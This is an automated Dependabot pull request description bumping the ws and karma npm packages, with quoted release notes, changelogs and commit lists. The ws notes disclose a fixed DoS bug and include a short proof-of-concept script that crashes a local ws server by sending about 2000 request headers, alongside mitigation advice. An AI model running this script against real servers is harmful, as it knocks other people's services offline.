Bump ws and karma

[dependabot]

Bumps ws to 8.17.1 and updates ancestor dependency karma. These dependencies need to be updated together.

Updates ws from 3.3.3 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits

• 3c56601 [dist] 8.17.1
• e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
• 6a00029 [test] Increase code coverage
• ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
• b73b118 [dist] 8.17.0
• 29694a5 [test] Use the highWaterMark variable
• 934c9d6 [ci] Test on node 22
• 1817bac [ci] Do not test on node 21
• 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
• e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
• Additional commits viewable in compare view

Updates karma from 3.1.4 to 6.4.4

Release notes

Sourced from karma's releases.

v6.4.4

6.4.4 (2024-07-29)

v6.4.3

6.4.3 (2024-02-24)

Bug Fixes

• add build commits for patch release (d7f2d69)

v6.4.2

6.4.2 (2023-04-21)

Bug Fixes

• few typos (c6a4271)

v6.4.1

6.4.1 (2022-09-19)

Bug Fixes

• pass integrity value (63d86be)

v6.4.0

6.4.0 (2022-06-14)

Features

• support SRI verification of link tags (dc51a2e)
• support SRI verification of script tags (6a54b1c)

v6.3.20

6.3.20 (2022-05-13)

Bug Fixes

• prefer IPv4 addresses when resolving domains (e17698f), closes #3730

v6.3.19

6.3.19 (2022-04-19)

Bug Fixes

... (truncated)

Changelog

Sourced from karma's changelog.

6.4.4 (2024-07-29)

6.4.3 (2024-02-24)

Bug Fixes

• add build commits for patch release (d7f2d69)

6.4.2 (2023-04-21)

Bug Fixes

• few typos (c6a4271)

6.4.1 (2022-09-19)

Bug Fixes

• pass integrity value (63d86be)

6.4.0 (2022-06-14)

Features

• support SRI verification of link tags (dc51a2e)
• support SRI verification of script tags (6a54b1c)

6.3.20 (2022-05-13)

Bug Fixes

• prefer IPv4 addresses when resolving domains (e17698f), closes #3730

6.3.19 (2022-04-19)

Bug Fixes

• client: error out when opening a new tab fails (099b85e)

6.3.18 (2022-04-13)

Bug Fixes

... (truncated)

Commits

• 84f85e7 chore(release): 6.4.4 [skip ci]
• a4d1284 build(deps-dev): bump ws from 6.2.1 to 6.2.3
• d8cf806 chore(release): 6.4.3 [skip ci]
• d7f2d69 fix: add build commits for patch release
• 85a2eeb build(deps-dev): bump decode-uri-component from 0.2.0 to 0.2.2
• 0bffce2 build(deps): updated socket.io version to fix security issues with socket.io-...
• 86667ab build(deps): bump follow-redirects from 1.11.0 to 1.15.4
• 450fdfd docs: Add deprecation notice to Karma README
• 9de3c00 chore(release): 6.4.2 [skip ci]
• c6a4271 fix: few typos
• Additional commits viewable in compare view

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